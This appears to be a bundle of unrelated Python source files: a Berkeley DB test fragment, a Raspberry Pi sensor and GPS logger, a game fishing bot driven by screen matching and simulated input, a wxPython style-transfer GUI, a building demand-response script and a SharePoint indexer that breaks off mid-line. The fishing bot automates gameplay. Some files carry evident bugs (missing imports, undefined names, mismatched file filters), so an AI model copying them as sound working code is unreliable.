suite.addTest(unittest.makeSuite(HashSimpleThreaded))
suite.addTest(unittest.makeSuite(BTreeThreadedTransactions))
suite.addTest(unittest.makeSuite(HashThreadedTransactions))
suite.addTest(unittest.makeSuite(BTreeThreadedNoWaitTransactions))
suite.addTest(unittest.makeSuite(HashThreadedNoWaitTransactions))
else:
print "Threads not available, skipping thread tests."
return suite
if __name__ == '__main__':
unittest.main(defaultTest='test_suite')
|
init.py
|
#!/usr/bin/python
# Init script for Sky Pi
import logging
import os
import time
import threading
import sys
import subprocess
import picamera
import Adafruit_BMP.BMP085 as BMP085
from gps import *
fileId = ""
speakLock = threading.Lock()
speakProcess = None
gpsd = None
# NOTE(nox): Speaking
def speakWorker(msg):
speakLock.acquire()
espeakProcess = subprocess.Popen(["espeak", "-s100", msg, "--stdout"], stdout=subprocess.PIPE)
aplayProcess = subprocess.Popen(["aplay"], stdin=espeakProcess.stdout)
aplayProcess.communicate()
speakLock.release()
def speak(msg):
t = threading.Thread(target=speakWorker, args=(msg,))
t.start()
# NOTE(nox): Camera
def cameraWorker():
logging.info("CAMERA: Starting up")
camera = picamera.PiCamera()
fileId = 0
while True:
try:
for i in xrange(fileId, sys.maxint):
if not(os.path.isfile("data/videos/{}.h264".format(i))):
fileId = i
break
videoFile = "data/videos/{}.h264".format(fileId)
logging.info("CAMERA: Writing video " + videoFile)
camera.start_recording(videoFile)
time.sleep(300)
camera.stop_recording()
logging.info("CAMERA: Wrote video " + videoFile)
except:
logging.error("CAMERA: Something went wrong")
time.sleep(60)
# NOTE(nox): Sensors
def sensorsWorker():
logging.info("SENSORS: Starting up")
firstTime = False
if not(os.path.isfile("data/sensors.csv")):
firstTime = True
sensorsFile = open("data/sensors.csv", "a")
if firstTime:
sensorsFile.write("sep=,\n")
sensorsFile.write("TIME,TEMPERATURE,PRESSURE\n")
bmp180 = None
bmp180FailedLast = False
while True:
temp = -5000
pressure = -5000
try:
if bmp180 == None:
bmp180 = BMP085.BMP085(mode=BMP085.BMP085_ULTRAHIGHRES)
temp = bmp180.read_temperature()
pressure = bmp180.read_pressure()
if bmp180FailedLast:
logging.info("SENSORS: BMP180 recovered")
speak("BMP180 recovered")
bmp180FailedLast = False
except:
if not(bmp180FailedLast):
bmp180FailedLast = True
logging.error("SENSORS: BMP180 failed")
speak("BMP180 failed")
timeStr = time.strftime("%H:%M:%S")
sensorsFile.write("{},{},{}\n".format(timeStr, temp, pressure))
sensorsFile.flush()
time.sleep(2)
# NOTE(nox): GPS
def gpsPoll():
global gpsd
while gpsd != None:
report = gpsd.next()
def gpsWorker():
logging.info("GPS: Starting up")
global gpsd
gpsd = gps(mode=WATCH_ENABLE)
gpsPollThread = threading.Thread(target=gpsPoll)
gpsPollThread.start()
firstTime = False
if not(os.path.isfile("data/gps.csv")):
firstTime = True
gpsFile = open("data/gps.csv", "a")
if firstTime:
gpsFile.write("sep=,\n")
gpsFile.write("TIME,LATITUDE (deg+-m),LONGITUDE (deg+-m),ALTITUDE (m+-m),TRACK (deg from true north+-deg),SPEED (m/s+-m/s),CLIMB (m/s+-m/s),MODE,SAT\n")
cooldown = 20
cgpsCooldown = 60
while True:
if cooldown >= 20:
cooldown = 0
speak("Latitude: {}, Longitude: {}, Altitude: {}".format(gpsd.fix.latitude,
gpsd.fix.longitude,
gpsd.fix.altitude))
if gpsd.utc is not None:
gpstime = gpsd.utc[0:4] + gpsd.utc[5:7] + gpsd.utc[8:10] + ' ' + gpsd.utc[11:19]
os.system('sudo date --set="%s"' % gpstime)
gpsFile.write("{}+-{},{}+-{},{}+-{},{}+-{},{}+-{},{}+-{},{}+-{},{},{}\n".format(
gpsd.utc, gpsd.fix.ept, gpsd.fix.latitude, gpsd.fix.epy, gpsd.fix.longitude,
gpsd.fix.epx, gpsd.fix.altitude, gpsd.fix.epv, gpsd.fix.track, gpsd.fix.epd,
gpsd.fix.speed, gpsd.fix.eps, gpsd.fix.climb, gpsd.fix.epc, gpsd.fix.mode,
len(gpsd.satellites)))
gpsFile.flush()
if cgpsCooldown >= 60:
cgpsCooldown = 0
subprocess.Popen(["scripts/testGPS.sh"])
cooldown += 1
cgpsCooldown += 1
time.sleep(1)
if __name__ == "__main__":
if not os.path.isdir("data/"):
os.makedirs("data/")
if not os.path.isdir("data/videos/"):
os.makedirs("data/videos/")
root = logging.getLogger()
fileHandler = logging.FileHandler("data/log.txt")
fileHandler.setFormatter(logging.Formatter(fmt="%(asctime)s [%(levelname)s] %(message)s"))
root.addHandler(fileHandler)
root.setLevel(logging.INFO)
logging.info("=============== RESTART ===============")
logging.info("Starting up...")
speak("Starting up...")
# NOTE(nox): Startup worker threads
cameraThread = threading.Thread(target=cameraWorker)
cameraThread.start()
sensorsThread = threading.Thread(target=sensorsWorker)
sensorsThread.start()
gpsThread = threading.Thread(target=gpsWorker)
gpsThread.start()
time.sleep(20)
logging.info("Done starting systems.")
speak("Up and running!")
while True:
time.sleep(10)
|
Fisherman.py
|
import pyautogui,pyaudio,audioop,threading,time,win32api,configparser,mss,mss.tools,cv2,numpy
from dearpygui.core import *
from dearpygui.simple import *
import random
#Loads Settings
parser = configparser.ConfigParser()
parser.read('settings.ini')
debugmode = parser.getboolean('Settings','debug')
max_volume = parser.getint('Settings','Volume_Threshold')
screen_area = parser.get('Settings','tracking_zone')
detection_threshold = parser.getfloat('Settings','detection_threshold')
screen_area = screen_area.strip('(')
screen_area = screen_area.strip(')')
cordies = screen_area.split(',')
screen_area = int(cordies[0]),int(cordies[1]),int(cordies[2]),int(cordies[3])
#screen_area = x1,y1,x2,y2
#Coords for fishing spots
coords = []
#Sound Volume
total = 0
#Current Bot State
STATE = "IDLE"
#Thread Stopper
stop_button = False
#Stuff for mouse events
state_left = win32api.GetKeyState(0x01)
state_right = win32api.GetKeyState(0x02)
#fish counters
fish_count = 0
bait_counter = 0
food_timer = 0
##########################################################
#
# These Functions handle bot state / minigame handling
#
##########################################################
#Scans the current input volume
def check_volume():
global total,STATE,max_volume,stop_button
p = pyaudio.PyAudio()
stream = p.open(format=pyaudio.paInt16,channels=2,rate=44100,input=True,frames_per_buffer=1024)
current_section = 0
while 1:
if stop_button == False:
total=0
for i in range(0,2):
data=stream.read(1024)
if True:
reading=audioop.max(data, 2)
total=total+reading
if total > max_volume and STATE != "SOLVING" and STATE != "DELAY" and STATE != "CASTING":
do_minigame()
else:
break
def get_new_spot():
return random.choice(coords)
#Runs the casting function
def cast_hook():
global STATE
while 1:
if stop_button == False:
if STATE == "CASTING" or STATE == "STARTED":
time.sleep(2.6)
pyautogui.mouseUp()
x,y = get_new_spot()
pyautogui.moveTo(x,y,tween=pyautogui.linear,duration=0.2)
time.sleep(0.2)
pyautogui.mouseDown()
time.sleep(random.uniform(0.2,0.5))
pyautogui.mouseUp()
log_info(f"Casted towards:{x,y}",logger="Information")
time.sleep(2.5)
STATE = "CAST"
elif STATE == "CAST":
time.sleep(20)
if STATE == "CAST":
log_info(f"Seems to be stuck on cast. Recasting",logger="Information")
STATE = "CASTING"
pyautogui.mouseUp()
cast_hook()
else:
break
#Uses obj detection with OpenCV to find and track bobbers left / right coords
def do_minigame():
global STATE,fish_count,bait_counter
if STATE != "CASTING" and STATE != "STARTED":
STATE = "SOLVING"
log_info(f'Attempting Minigame',logger="Information")
pyautogui.mouseDown()
pyautogui.mouseUp()
#Initial scan. Waits for bobber to appear
time.sleep(0.5)
valid,location,size = Detect_Bobber()
if valid == "TRUE":
fish_count += 1
bait_counter += 1
while 1:
valid,location,size = Detect_Bobber()
if valid == "TRUE":
if location[0] < size / 2:
pyautogui.mouseDown()
else:
pyautogui.mouseUp()
else:
if STATE != "CASTING":
STATE = "CASTING"
pyautogui.mouseUp()
break
else:
STATE = "CASTING"
##########################################################
#
# These Functions are all Callbacks used by DearPyGui
#
##########################################################
#Generates the areas used for casting
def generate_coords(sender,data):
global coords,STATE,state_left
amount_of_choords = get_value("Amount Of Spots")
for n in range(int(amount_of_choords)):
n = n+1
temp = []
log_info(f'[spot:{n}]|Press Spacebar over the spot you want',logger="Information")
time.sleep(1)
while True:
a = win32api.GetKeyState(0x20)
if a != state_left:
state_left = a
if a < 0:
break
time.sleep(0.001)
x,y = pyautogui.position()
temp.append(x)
temp.append(y)
coords.append(temp)
log_info(f'Position:{n} Saved. | {x,y}',logger="Information")
#Sets tracking zone for image detection
def Grab_Screen(sender,data):
global screen_area
state_left = win32api.GetKeyState(0x20)
image_coords = []
log_info(f'Please hold and drag space over tracking zone (top left to bottom right)',logger="Information")
while True:
a = win32api.GetKeyState(0x20)
if a != state_left: # Button state changed
state_left = a
if a < 0:
x,y = pyautogui.position()
image_coords.append([x,y])
else:
x,y = pyautogui.position()
image_coords.append([x,y])
break
time.sleep(0.001)
start_point = image_coords[0]
end_point = image_coords[1]
screen_area = start_point[0],start_point[1],end_point[0],end_point[1]
log_info(f'Updated tracking area to {screen_area}',logger="Information")
#Detects bobber in tracking zone using openCV
def Detect_Bobber():
start_time = time.time()
with mss.mss() as sct:
base = numpy.array(sct.grab(screen_area))
base = numpy.flip(base[:, :, :3], 2) # 1
base = cv2.cvtColor(base, cv2.COLOR_RGB2BGR)
bobber = cv2.imread('bobber.png')
bobber = numpy.array(bobber, dtype=numpy.uint8)
bobber = numpy.flip(bobber[:, :, :3], 2) # 1
bobber = cv2.cvtColor(bobber, cv2.COLOR_RGB2BGR)
result = cv2.matchTemplate(base,bobber,cv2.TM_CCOEFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
if max_val > 0.5:
print(f"Bobber Found!. Match certainty:{max_val}")
print("%s seconds to calculate" % (time.time() - start_time))
return ["TRUE",max_loc,base.shape[1]]
else:
print(f"Bobber not found. Match certainty:{max_val}")
print("%s seconds to calculate" % (time.time() - start_time))
return ["FALSE",max_loc,base.shape[1]]
#Starts the bots threads
def start(data,sender):
global max_volume,stop_button,STATE
STATE = "STARTING"
stop_button = False
volume_manager = threading.Thread(target = check_volume)
hook_manager = threading.Thread(target = cast_hook)
if stop_button == False:
max_volume = get_value("Set Volume Threshold")
if len(coords) == 0:
log_info(f'Please Select Fishing Coords first',logger="Information")
return
else:
volume_manager.start()
log_info(f'Volume Scanner Started',logger="Information")
hook_manager.start()
log_info(f'Hook Manager Started',logger="Information")
log_info(f'Bot Started',logger="Information")
STATE = "STARTED"
pyautogui.press("1")
#Stops the bot and closes active threads
def stop(data,sender):
global stop_button,STATE
STATE = "STOPPING"
stop_button = True
log_info(f'Stopping Hook Manager',logger="Information")
log_info(f'Stopping Volume Scanner',logger="Information")
pyautogui.mouseUp()
STATE = "STOPPED"
log_info(f'Stopped Bot',logger="Information")
#Updates Bot Volume
def save_volume(sender,data):
global max_volume
max_volume = get_value("Set Volume Threshold")
log_info(f'Max Volume Updated to :{max_volume}',logger="Information")
#Set detection threshold
def save_threshold(sender,data):
global detection_threshold
detection_threshold = get_value("Set Detection Threshold")
log_info(f'Detection Threshold Updated to :{detection_threshold}',logger="Information")
#Title Tracking
def Setup_title():
global bait_counter
while 1:
set_main_window_title(f"Fisherman | Status:{STATE} | Fish Hits:{fish_count} |Current Volume:{max_volume} \ {total} |")
time.sleep(0.1)
if bait_counter == 10:
bait_counter = 0
pyautogui.press("1")
#Saves settings to settings.ini
def save_settings(sender,data):
fp = open('settings.ini')
p = configparser.ConfigParser()
p.read_file(fp)
p.set('Settings', 'volume_threshold', str(max_volume))
p.set('Settings','tracking_zone',str(screen_area))
p.set('Settings','detection_threshold',str(detection_threshold))
p.write(open(f'Settings.ini', 'w'))
log_info(f'Saved New Settings to settings.ini',logger="Information")
#Settings for DearPyGui window
set_main_window_size(700,500)
set_style_window_menu_button_position(0)
set_theme("Gold")
set_global_font_scale(1)
set_main_window_resizable(False)
#Creates the DearPyGui Window
with window("Fisherman Window",width = 684,height = 460):
set_window_pos("Fisherman Window",0,0)
add_input_int("Amount Of Spots",max_value=10,min_value=0,tip = "Amount of Fishing Spots")
add_input_int("Set Volume Threshold",max_value=100000,min_value=0,default_value=int(max_volume),callback = save_volume ,tip = "Volume Threshold to trigger catch event")
add_input_float("Set Detection Threshold",min_value=0.1,max_value=1.0,default_value=detection_threshold,callback=save_threshold)
add_spacing(count = 3)
add_button("Set Fishing Spots",width=130,callback=generate_coords,tip = "Starts function that lets you select fishing spots")
add_same_line()
add_button("Set Tracking Zone",callback=Grab_Screen,tip="Sets zone bot tracks for solving fishing minigame")
add_spacing(count = 5)
add_button("Start Bot",callback=start,tip = "Starts the bot")
add_same_line()
add_button("Stop Bot",callback = stop,tip = "Stops the bot")
add_same_line()
add_button("Save Settings",callback=save_settings,tip = "Saves bot settings to settings.ini")
add_spacing(count = 5)
add_logger("Information",log_level=0)
log_info(f'Loaded Settings. Volume Threshold:{max_volume},Tracking Zone:{screen_area},Debug Mode:{debugmode}',logger="Information")
threading.Thread(target = Setup_title).start()
start_dearpygui()
|
gui.py
|
import wx
import nstmulti as nst
import threading
import scipy
import os
from multiprocessing import Lock
from multiprocessing import Value
import time
import sys
import styleTransfer as st
import utils
import nstModels
# class responsible for reacting on event caused by button pressing, text typed etc.
class GUIController:
def __init__(self,frame,interV,deltaV):
self.nst = st.NeuralStyleTransfer(nstModels.VGG19ForNST())
self.separator = utils.getSeparator()
self._contentImagePath = ''
self.outfilename = ''
self.styleName = ''
self.oldValue = 0
self._styleImagesPaths = []
self._isNSTButtonLocked = False
self.value = Value('i',0)
self.frame = frame
self.nUpdates = 1000
self.gauge = wx.TextCtrl(self.frame, size = (620, 50), pos = (10,8*interV+11*deltaV),style=wx.TE_MULTILINE | wx.TE_READONLY)
if( not os.path.exists('out') ):
os.mkdir('out')
if( not os.path.exists('styles') ):
os.mkdir('styles')
def onButtonContentImage(self,event):
frame = wx.Frame(None, -1, '')
openFileDialog = wx.FileDialog(frame, "Open", "", "",
"Python files (*.py)|*.jpg",
wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)
openFileDialog.ShowModal()
self._contentImagePath = openFileDialog.GetPath()
openFileDialog.Destroy()
def onButtonStyleImages(self,event):
frame = wx.Frame(None, -1, '')
openFileDialog = wx.FileDialog(frame, "Open", "", "",
"Python files (*.py)|*.jpg",
wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)
openFileDialog.ShowModal()
self._styleImagesPaths.append(openFileDialog.GetPath())
openFileDialog.Destroy()
# pressing this button runs new thread in daemon regime allowing to perform nst calculation and avalaibility of gui at the same time
def onButtonNTS(self, event):
if self._isNSTButtonLocked == True:
return
else:
if self._contentImagePath == '' or (len(self._styleImagesPaths) == 0) or self.outfilename == '':
return
self._isNSTButtonLocked = True
self.nst.isTerminate = False
outFile = self.outfilename
self.gauge.SetValue("Output image: " + os.getcwd()+self.separator+"out"+self.separator+outFile+".jpg\n")
self._p = threading.Thread(target=self.nst.run_style_transfer, args = (self._contentImagePath,self._styleImagesPaths, outFile, self.value, self.nUpdates))
self._p.daemon = True
self._p.start()
# once this button pressed program waiting while isTerminate == True is executed and terminates created thread
def onButtonStop(self, event):
if self._isNSTButtonLocked == True:
self.nst.isTerminate = True
self._p.join()
print("Terminated")
self._isNSTButtonLocked = False
def OnKeyTyped(self, event):
self.outfilename = event.GetString()
def onstyleTyped(self, event):
self.styleName = event.GetString()
def onSaveStyle(self,event):
f= open('styles'+self.separator+self.styleName+'.style',"w+")
for el in self._styleImagesPaths:
f.write("%s\n" % el)
f.close()
self.gauge.AppendText("Saved style: " + os.getcwd()+self.separator+"styles"+self.separator+self.styleName+".style")
def onChooseSavedStyle(self, event):
frame = wx.Frame(None, -1, '')
openFileDialog = wx.FileDialog(frame, "Open", "", "",
"Style files (*.style)|*.style",
wx.FD_OPEN | wx.FD_FILE_MUST_EXIST)
openFileDialog.ShowModal()
pathToStyleFile = openFileDialog.GetPath()
f = open(pathToStyleFile, 'r')
rawStylesString = f.readlines()
for el in range(len(rawStylesString)):
rawStylesString[el] = rawStylesString[el].rstrip()
self._styleImagesPaths = rawStylesString
openFileDialog.Destroy()
def onUpdates(self,event):
try:
self.nUpdates = int(event.GetString())
except:
self.nUpdates = 1000
# before exiting the program check is performed whther additional thread is running, and if so it terminates it. "isTerminate" is considered to be shared variable for both threads.
def onExit(self, event):
if self._isNSTButtonLocked == True:
self.nst.isTerminate = True
self._p.join()
self.frame.Destroy()
sys.exit()
# class responsible for visualization GUI. There are a lot of magic numbers defined, which control where and of which size the graphical item is put.
class GUIBuilder:
def __init__(self):
self.width = 160
self.height = 30
self.deltaV = 25
self.interV = 10
self.stepSize = (250,self.height)
self.whSize = (self.width, self.height)
self.leftMargin = 10
self.middleMargin = 240
self.rightMargin = 470
self.app = wx.App()
self.frame = wx.Frame(None, -1, 'NST',style=wx.DEFAULT_FRAME_STYLE & (~wx.CLOSE_BOX) & (~wx.MAXIMIZE_BOX))
self.frame.SetDimensions(0,0,680,500)
def initializeArchitecture(self):
self.initStaticText()
self.initButtons()
self.initTextCtrl()
def initStaticText(self):
wx.StaticText(self.frame, -1, "Step1: choose content image", size=self.stepSize, pos=(self.middleMargin,self.interV))
wx.StaticText(self.frame, -1, "Step2: choosing style", size=self.stepSize, pos=(self.middleMargin,2*self.interV+3*self.deltaV))
wx.StaticText(self.frame, -1, "Step3: choosing output file name", size=self.stepSize, pos=(self.middleMargin,4*self.interV+6*self.deltaV))
wx.StaticText(self.frame, -1, "Output file name", size=self.whSize,pos=(self.middleMargin,4*self.interV+7*self.deltaV))
wx.StaticText(self.frame, -1, "Step4: NST controller", size=self.stepSize, pos=(self.middleMargin,7*self.interV+9*self.deltaV))
wx.StaticText(self.frame, -1, "Number of updates", size=self.whSize,pos=(self.rightMargin,self.interV+self.deltaV))
wx.StaticText(self.frame, -1, "New style name", size=self.whSize,pos=(self.rightMargin,3*self.interV+3*self.deltaV))
def initButtons(self):
self.buttonContent = wx.Button(self.frame, label = 'Choose content image', size=self.whSize, pos=(self.leftMargin,self.interV+2*self.deltaV))
self.buttonStyle = wx.Button(self.frame, label = 'Choose style images', size=self.whSize, pos = (self.leftMargin, 3*self.interV+4*self.deltaV))
self.buttonNST = wx.Button(self.frame, label = 'Start NST', size=self.whSize, pos = (self.leftMargin,7*self.interV+10*self.deltaV))
self.buttonChooseStyle = wx.Button(self.frame, label = 'Choose saved style', size=self.whSize, pos=(self.middleMargin,3*self.interV+4*self.deltaV))
self.buttonSave = wx.Button(self.frame, label = 'Save style', size=self.whSize, pos = (self.rightMargin,3*self.interV+5*self.deltaV))
self.buttonStop = wx.Button(self.frame, label = 'Stop NST', size=self.whSize, pos = (self.rightMargin,7*self.interV+10*self.deltaV))
self.buttonExit = wx.Button(self.frame, label = 'Exit', size = self.whSize, pos = (self.rightMargin,410))
def initTextCtrl(self):
self.t1 = wx.TextCtrl(self.frame,size=self.whSize,pos=(self.middleMargin,4*self.interV+8*self.deltaV))
self.tI = wx.TextCtrl(self.frame,size=self.whSize,pos=(self.rightMargin,self.interV+2*self.deltaV))
self.tI.SetValue(str(1000))
self.t2 = wx.TextCtrl(self.frame,size=self.whSize,pos=(self.rightMargin,3*self.interV+4*self.deltaV))
def initGUIController(self):
self.gui = GUIController(self.frame,self.interV,self.deltaV)
def bindArchitectureAndEvents(self):
self.initGUIController()
self.initializeArchitecture()
self.buttonContent.Bind(wx.EVT_BUTTON, self.gui.onButtonContentImage)
self.buttonStyle.Bind(wx.EVT_BUTTON, self.gui.onButtonStyleImages)
self.buttonNST.Bind(wx.EVT_BUTTON, self.gui.onButtonNTS)
self.buttonStop.Bind(wx.EVT_BUTTON, self.gui.onButtonStop)
self.buttonSave.Bind(wx.EVT_BUTTON, self.gui.onSaveStyle)
self.buttonChooseStyle.Bind(wx.EVT_BUTTON, self.gui.onChooseSavedStyle)
self.buttonExit.Bind(wx.EVT_BUTTON, self.gui.onExit)
self.t1.Bind(wx.EVT_TEXT, self.gui.OnKeyTyped)
self.t2.Bind(wx.EVT_TEXT, self.gui.onstyleTyped)
self.tI.Bind(wx.EVT_TEXT, self.gui.onUpdates)
def runGUI(self):
self.bindArchitectureAndEvents()
self.frame.Show()
self.frame.Centre()
self.app.MainLoop()
|
app.py
|
import json
import time
from Queue import Queue
from threading import Thread
import msgpack
from xbos import get_client
from xbos.services.hod import HodClient
from xbos.devices.thermostat import Thermostat
from xbos.devices.light import Light
with open("params.json") as f:
try:
params = json.loads(f.read())
except ValueError:
print "Invalid parameter file"
sys.exit(1)
c = get_client()
hod = HodClient(params["HOD_URI"],c)
lighting_query = """SELECT ?equipment ?uri WHERE {
?equipment rdf:type/rdfs:subClassOf* brick:Lighting_System .
?equipment bf:uri ?uri .
}"""
tstat_query = """SELECT ?equipment ?uri WHERE {
?equipment rdf:type/rdfs:subClassOf* brick:Thermostat .
?equipment bf:uri ?uri .
}"""
results = hod.do_query(lighting_query)
lights = []
if results["Count"] > 0:
for row in results["Rows"]:
l = Light(c, row["?uri"])
lights.append(l)
results = hod.do_query(tstat_query)
tstats = []
if results["Count"] > 0:
for row in results["Rows"]:
t = Thermostat(c, row["?uri"])
tstats.append(t)
#### Light Strategy: dim to 25%
def light_strategy(self):
self.old_brightness = self.brightness
new_brightness = 25
self.write({state: self.state, 'brightness': new_brightness})
def light_reset(self):
self.write({state: self.state, 'brightness': self.old_brightness})
#### Thermostat Strategy: widen deadband by 8 degrees
def tstat_strategy(self):
self.old_hsp = self.heating_setpoint
self.old_csp = self.cooling_setpoint
new_hsp = self.old_hsp-4
new_csp = self.old_csp+4
self.write({
'heating_setpoint': new_hsp,
'cooling_setpoint': new_csp,
'override': True
})
def tstat_reset(self):
self.write({
'heating_setpoint': self.old_hsp,
'cooling_setpoint': self.old_csp,
'override': True
})
### Plumbing for reacting to events
dr_ponum = (2,0,0,1)
dr_queue = Queue()
def on_dr_event(bw_message):
dr_queue.put(bw_message)
def do_dr_event(bw_message):
for po in bw_message.payload_objects:
if po.type_dotted == dr_ponum:
event = msgpack.unpackb(po.content)
duration = int(event["duration"])
for tstat in tstats:
tstat_strategy(tstat)
for light in lights:
light_strategy(light)
print "sleeping"
time.sleep(duration)
print "resetting"
for tstat in tstats:
tstat_reset(tstat)
for light in lights:
light_reset(light)
def dr_handler():
while True:
item = dr_queue.get()
do_dr_event(item)
dr_queue.task_done()
time.sleep(10)
c.subscribe(params["DR_URI"], on_dr_event)
print "Waiting for Demand Response events"
dr_worker = Thread(target=dr_handler)
dr_worker.daemon = True
dr_worker.start()
dr_queue.join()
while True:
time.sleep(1000)
|
fetch_index.py
|
import multiprocessing
import time
import copy
import requests
from sharepoint_utils import encode
from urllib.parse import urljoin
from elastic_enterprise_search import WorkplaceSearch
from checkpointing import Checkpoint
from sharepoint_client import SharePoint
from configuration import Configuration
import logger_manager as log
from usergroup_permissions import Permissions
from datetime import datetime
from dateutil.parser import parse
import os
import json
from tika.tika import TikaException
from sharepoint_utils import extract
import re
import adapter
IDS_PATH = os.path.join(os.path.dirname(__file__), 'doc_id.json')
logger = log.setup_logging("sharepoint_connector_index")
SITE = "site"
LIST = "list"
ITEM = "item"
SITES = "sites"
LISTS = "lists"
LIST_ITEMS = "list_items"
DRIVE_ITEMS = "drive_items"
DOCUMENT_SIZE = 100
DATETIME_FORMAT = "%Y-%m-%dT%H:%M:%SZ"
def check_response(response, error_message, exception_message, param_name):
""" Checks the response received from sharepoint server
:param response: response from the sharepoint client
:param error_message: error message if not getting the response
:param exception message: exception message
:param param_name: parameter name whether it is SITES, LISTS, LIST_ITEMS OR DRIVE_ITEMS
Returns:
Parsed response, and is_error flag
"""
if not response:
logger.error(error_message)
return (False, True)
elif param_name == "attachment" and not response.get("d", {}).get("results"):
logger.info(error_message)
return (False, False)
try:
response_data = response.get("d", {}).get("results")
return (response_data, False)
except ValueError as exception:
logger.exception("%s Error: %s" % (exception_message, exception))
return (False, True)
class FetchIndex:
def __init__(self, data, start_time, end_time):
logger.info("Initializing the Indexing class")
self.is_error = False
self.ws_host = data.get("enterprise_search.host_url")
self.ws_token = data.get("workplace_search.access_token")
self.ws_source = data.get("workplace_search.source_id")
self.sharepoint_host = data.get("sharepoint.host_url")
self.objects = data.get("objects")
self.site_collections = data.get("sharepoint.site_collections")
self.enable_permission = data.get("enable_document_permission")
self.start_time = start_time
self.end_time = end_time
self.checkpoint = Checkpoint(logger, data)
self.sharepoint_client = SharePoint(logger)
self.permissions = Permissions(logger, self.sharepoint_client)
self.ws_client = WorkplaceSearch(self.ws_host, http_auth=self.ws_token)
self.mapping_sheet_path = data.get("sharepoint_workplace_user_mapping")
def index_document(self, document, parent_object, param_name):
""" This method indexes the documents to the workplace.
:param document: document to be indexed
:param parent_object: parent of the objects to be indexed
:param param_name: parameter name whether it is SITES, LISTS LIST_ITEMS OR DRIVE_ITEMS
"""
try:
if document:
total_documents_indexed = 0
document_list = [document[i * DOCUMENT_SIZE:(i + 1) * DOCUMENT_SIZE] for i in range((len(document) + DOCUMENT_SIZE - 1) // DOCUMENT_SIZE)]
for chunk in document_list:
response = self.ws_client.index_documents(
http_auth=self.ws_token,
content_source_id=self.ws_source,
documents=chunk
)
for each in response['results']:
if not each['errors']:
total_documents_indexed += 1
else:
logger.error("Error while indexing %s. Error: %s" % (each['id'], each['errors']))
logger.info("Successfully indexed %s %s for %s to the workplace" % (
total_documents_indexed, param_name, parent_object))
except Exception as exception:
logger.exception("Error while indexing the %s for %s. Error: %s"
% (param_name, parent_object, exception)
)
self.is_error = True
def get_schema_fields(self, document_name):
""" returns the schema of all the include_fields or exclude_fields specified in the configuration file.
:param document_name: document name from SITES, LISTS, LIST_ITEMS OR DRIVE_ITEMS
Returns:
schema: included and excluded fields schema
"""
fields = self.objects.get(document_name)
adapter_schema = adapter.DEFAULT_SCHEMA[document_name]
field_id = adapter_schema['id']
if fields:
include_fields = fields.get("include_fields")
exclude_fields = fields.get("exclude_fields")
if include_fields:
adapter_schema = {key: val for key, val in adapter_schema.items() if val in include_fields}
elif exclude_fields:
adapter_schema = {key: val for key, val in adapter_schema.items() if val not in exclude_fields}
adapter_schema['id'] = field_id
return adapter_schema
def index_sites(self, parent_site_url, sites, ids, index):
"""This method fetches sites from a collection and invokes the
index permission method to get the document level permissions.
If the fetching is not successful, it logs proper message.
:param parent_site_url: parent site relative path
:param sites: dictionary of site path and it's last updated time
:param ids: structure containing id's of all objects
:param index: index, boolean value
Returns:
document: response of sharepoint GET call, with fields specified in the schema
"""
rel_url = urljoin(
self.sharepoint_host, f"{parent_site_url}/_api/web/webs"
)
logger.info("Fetching the sites detail from url: %s" % (rel_url))
query = self.sharepoint_client.get_query(
self.start_time, self.end_time, SITES)
response = self.sharepoint_client.get(rel_url, query, SITES)
response_data, self.is_error = check_response(
response,
"Could not fetch the sites, url: %s" % (rel_url),
"Error while parsing the get sites response from url: %s."
% (rel_url),
SITES,
)
if not response_data:
logger.info("No sites were created in %s for this interval: start time: %s and end time: %s" % (parent_site_url, self.start_time, self.end_time))
return sites
logger.info(
"Successfully fetched and parsed %s sites response from SharePoint" % len(response_data)
)
logger.info("Indexing the sites to the Workplace")
schema = self.get_schema_fields(SITES)
document = []
if index:
for num in range(len(response_data)):
doc = {'type': SITE}
# need to convert date to iso else workplace search throws error on date format Invalid field value: Value '2021-09-29T08:13:00' cannot be parsed as a date (RFC 3339)"]}
response_data[num]['Created'] += 'Z'
for field, response_field in schema.items():
doc[field] = response_data[num].get(response_field)
if self.enable_permission is True:
doc["_allow_permissions"] = self.index_permissions(
key=SITES, site=response_data[num]['ServerRelativeUrl'])
document.append(doc)
ids["sites"].update({doc["id"]: response_data[num]["ServerRelativeUrl"]})
self.index_document(document, parent_site_url, SITES)
for result in response_data:
site_server_url = result.get("ServerRelativeUrl")
sites.update({site_server_url: result.get("LastItemModifiedDate")})
self.index_sites(site_server_url, sites, ids, index)
return sites
def index_lists(self, sites, ids, index):
"""This method fetches lists from all sites in a collection and invokes the
index permission method to get the document level permissions.
If the fetching is not successful, it logs proper message.
:param sites: dictionary of site path and it's last updated time
:param index: index, boolean value
Returns:
document: response of sharepoint GET call, with fields specified in the schema
"""
logger.info("Fetching lists for all the sites")
responses = []
document = []
if not sites:
logger.info("No list was created in this interval: start time: %s and end time: %s" % (self.start_time, self.end_time))
return [], []
schema_list = self.get_schema_fields(LISTS)
for site, time_modified in sites.items():
if parse(self.start_time) > parse(time_modified):
continue
rel_url = urljoin(self.sharepoint_host, f"{site}/_api/web/lists")
logger.info(
"Fetching the lists for site: %s from url: %s"
% (site, rel_url)
)
query = self.sharepoint_client.get_query(
self.start_time, self.end_time, LISTS)
response = self.sharepoint_client.get(
rel_url, query, LISTS)
response_data, self.is_error = check_response(
response,
"Could not fetch the list for site: %s" % (site),
"Error while parsing the get list response for site: %s from url: %s."
% (site, rel_url),
LISTS,
)
if not response_data:
logger.info("No list was created for the site : %s in this interval: start time: %s and end time: %s" % (site, self.start_time, self.end_time))
continue
logger.info(
"Successfully fetched and parsed %s list response for site: %s from SharePoint"
% (len(response_data), site)
)
base_list_url = urljoin(self.sharepoint_host, f"{site}/Lists/")
if index:
if not ids["lists"].get(site):
ids["lists"].update({site: {}})
for num in range(len(response_data)):
doc = {'type': LIST}
for field, response_field in schema_list.items():
doc[field] = response_data[num].get(
response_field)
if self.enable_permission is True:
doc["_allow_permissions"] = self.index_permissions(
key=LISTS, site=site, list_id=doc["id"], list_url=response_data[num]['ParentWebUrl'], itemid=None)
doc["url"] = urljoin(base_list_url, re.sub(
r'[^ \w+]', '', response_data[num]["Title"]))
document.append(doc)
ids["lists"][site].update({doc["id"]: response_data[num]["Title"]})
logger.info(
"Indexing the list for site: %s to the Workplace" % (site)
)
self.index_document(document, site, LISTS)
responses.append(response_data)
lists = {}
libraries = {}
for response in responses:
for result in response:
if result.get('BaseType') == 1:
libraries[result.get("Id")] = [result.get(
